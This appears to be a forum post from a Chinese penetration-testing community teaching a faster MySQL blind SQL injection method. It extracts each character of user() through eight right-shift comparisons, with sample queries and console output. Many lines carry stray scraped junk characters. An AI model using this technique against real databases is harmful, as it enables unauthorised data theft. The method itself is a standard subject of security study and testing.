中国网络渗透测试联盟

标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率 [打印本页]

作者: admin    时间: 2013-3-7 13:25
标题: 关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
) e" [5 b% m; ^; U" O  ^! D- \  G
5 D+ P  x9 V5 x7 b) w
5 U4 ~. q% U5 L  p
7 J" y+ b, H# O2 Y! V下面将以查询mysql数据库当中user()的第一位为例:* E; g- t2 V) N, o2 i
& p7 k0 g0 g* ]& l  s
) W  m1 R6 C, g/ f3 U

  F8 Z: F5 Y3 ]1 q; h  Bps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)& r6 z8 B; T" p* d/ ]! ?* P

) u- S7 U* r6 d- Z9 N: R4 \ 0 c  _  q: m- ?

, i' d# K/ m/ ^3 m: w" R首先执行如下sql语句:" T. A( L: F0 u  |
: q2 N! I* |" z2 ~/ R3 K* T

! A% D! E" ^1 F' v* I
* F7 I/ s/ _( E5 Y+ j1 ~5 v/ _mysql> select (ascii((substr(user(),1,1))) >> 7)=0;; |/ {0 w, T9 j9 ^9 p

! ^) `- d  G3 q$ x; G& t& u, d+ [
2 v! [9 V! r4 U
/ q9 O7 h! J& i+ X* P我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的( U, G8 h  T  i( \! [

8 G: k( t: b! C5 I" }9 d- M' U5 b % t8 m( L$ U& L: s! v- Q
, j+ R2 f$ t+ C, \5 b
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
0 k* i6 i; c( M( O. {1 [/ Q
% n8 ^8 g' r+ l$ M( J% _: q8 J " r& B6 |# R: I9 ?- W: A( t: R
" P0 e% e; U  I) s; b$ Y
如果运算结果为1,说明第一位为0,不为1
/ E! }8 r7 Z7 x; X7 c8 x" k' h5 ~" n: u& s. s' T/ E& X- j% q

& A- }' h. V" `! b( e) J: v0 j( `" o: I* h7 o) A# I# e' W( R
+————————————–+, C8 B+ ~3 `# r5 I, o
( S! d1 O# W3 P* g( s9 n2 N
| (ascii((substr(user(),1,1))) >> 7)=0 |3 t% i" S1 Q! ^$ f
- t! q# R9 s+ L1 W0 q9 ~
+————————————–+$ y  y" N8 Z- z9 ?7 s4 q
' a: w( `2 ?5 o0 h$ E
| 1 |
7 u! a8 @, O7 F& z7 H$ I7 G  [7 Y5 u4 d9 @6 B- \
+————————————–+
& h8 M6 d" O* K' i: y. ]
. a( ^  q! i6 o$ m1 row in set (0.00 sec)
) r8 ?' H0 R  x- B4 Q: ^+ l, r, A0 Z6 X$ |: c2 O  ^3 z
这样我们就确定这个8bit的ascii的第一位为02 r5 [8 v# ^4 w& ~, u0 D! [

+ L6 H; R9 \: }" m, T) Y
8 z% K$ ^5 U. H. a
! `6 z6 a( V. Y" F! {第二次我们来做6次右偏移来确定前两位7 `( U3 r6 s3 K& ?" `7 [. Q9 [
3 v" Q! U, ?* z/ S, {; Y+ h0 D

9 M& d3 k& n" z8 B
( v2 q' C5 J7 ~) @前两位可能是01或00,即依然可以与0做比较,1 \- g9 ?0 H7 U! Q

, ?% k1 z& s- Bmysql> select (ascii((substr(user(),1,1))) >> 6)=0;
6 a% ?/ ^& a3 n: J" m
$ V# D! V# G! C4 n+————————————–+% F( L( c5 M' e- |6 V

# Q. M- u  Z9 {1 ^( V6 D  N4 c% f| (ascii((substr(user(),1,1))) >> 6)=0 |
% P; m6 Z$ I. X2 E7 Y
, a/ m% {" V: N  Z% V: W+————————————–+
5 B! J$ l6 `! o4 a9 ^
8 c+ u0 q; K1 s# {# b0 e0 J| 0 |' D% F7 y% N* T- e& r5 ?; b6 U
: S. e% h! b& e  r& M
+————————————–+
/ s. g+ H3 [( u) h, x" k
2 ?! |* X/ M. R/ p& I1 row in set (0.00 sec)
: d: v7 w- |: [! f+ {$ J( J, A/ `  U# k" h( G  M* N/ h: N& q

6 q) M+ ?2 U+ P$ j
' w) a% T9 M  U  {2 `2 b- x$ }  P结果为0,即第二位为1
0 @) U+ m  R2 T5 V5 e1 a% F8 F- D& q* Z2 q. G7 v

; Q+ M# d$ M4 @1 t
! ]' {0 [* @- E/ ^开始猜测前三位为010或011
4 {: f. u) r0 E" n* c, y
5 ?  g! I& \$ [* f3 h: p* N- g
( ]1 l# X. f! a# T  Z
: U) r& |7 F9 x, u& ^! x. k让我们看看010和011的ascii码是多少/ x2 f) w- h4 U0 T' B# V6 \  ^1 P

/ r; g' o$ f; F. m0 i3 W + B$ Y! H& k: l. R

+ l  }. ]$ y6 O& l7 c* `分别查询select b’011′ select b’010′
; k7 w3 V2 O) [% v6 Z: x- r6 o* \% D" c; O

, [" O8 X. ?" \9 `5 T/ P5 _5 W, z+ f0 j; ]: `
获得结果 010 = 2 011 = 3
+ `7 p5 s) T* G. l
5 f: ?4 ?3 `- l/ A' o8 r + u; t2 c5 i4 m( x3 y

, z$ O1 t; n% }/ E1 I执行如下sql:
. ~( r6 l1 S3 ^. n$ w0 w. C) w/ M! V) A' l  w! O
) C; R/ I# Q4 ~6 z. ^
& r( J; }+ B: k  W2 R
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;, E8 h0 C2 r. v- V
4 E- r1 n: p0 c9 f! K* j( {
+————————————–+
+ D2 M; V* e+ _4 E2 O% O" ]) e* Y+ {7 \8 E
| (ascii((substr(user(),1,1))) >> 5)=2 |
" O( f' L) s3 [6 C
3 s3 ]- n3 `; u9 ^1 T+————————————–+
* ~5 ^& @4 R. t; O' Y
4 D1 {) l: t0 K- m4 R# _- H| 0 |* W' v% G: b) o2 d! P
/ R  R: Q! }* C, t/ s" p
+————————————–+
: o4 B2 x# j0 H1 k4 W( C" Y1 I0 O  ?- |7 R7 W
即前三位不为010,而是011
7 O6 N. s/ z* [- `9 h* O1 T  _& X! R# ^  X; M) r) a3 C9 v  Y
2 r* o. M  U; T

/ F3 h+ i0 \, B) l直到获得最后一位) K# m' D$ X( n6 n

6 V! W+ a, t  b
& D1 L) P# R  Q. X4 u
" C+ L7 Z( `) I# g' q最终结果为:01110010' Y6 i) i" @2 E: J/ N! {" ?& @

3 @% j+ q+ r6 N8 K( A( m " I5 F# |5 g$ B& G  @1 [
0 P1 w5 }3 g: n& S: X2 W! i6 v
转换一下:( |9 A: _3 t9 ~: U4 K. k9 ?
1 a' M6 C2 x% X* I2 N0 s
: a2 o& r5 K! _
9 i8 {. M, e5 N
select b’01110010′0 E, F8 u$ ~( A* w0 ~
  x5 x2 f- W$ C0 |2 ~
/ G$ Z! c& n5 }7 X/ D/ m
4 q* }* L0 Q$ H0 [- E# W8 h
查询结果
! n9 J% M" t$ D% t# v
2 G3 L2 v. ?3 z1 P9 F( v" X 1 @4 ?1 }/ ~8 W1 _9 |
, ~& A& h5 T- S- r
+————-+
, f% v" W1 S/ r. j8 a( o0 _" e; l9 X+ o4 T! |
| b’01110010′ |, e, {& R# W' s0 s
( {+ g+ M3 Y. I$ M$ `
+————-+
3 g0 H2 @) Q9 F2 r0 M! F  N. _- [
# N% M, ]6 C$ B4 A1 D| r |* u/ {2 R3 y; W

; \' _! ?, E5 p, e& r) M+————-+
2 w) A! {6 J. F, r9 R
; m) q9 d( e$ i1 row in set (0.00 sec)5 e8 B4 E* D5 F$ c5 L

: N( C! S2 l" L! x6 P* E 6 C% ~4 t8 {" T0 \
0 W6 }; P' r# ~% @
这样我们就获得了user()的第一位.其它位依此类推. x) k( d* E* P+ t' s+ s- A
* B) Q$ B! H8 R0 y





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2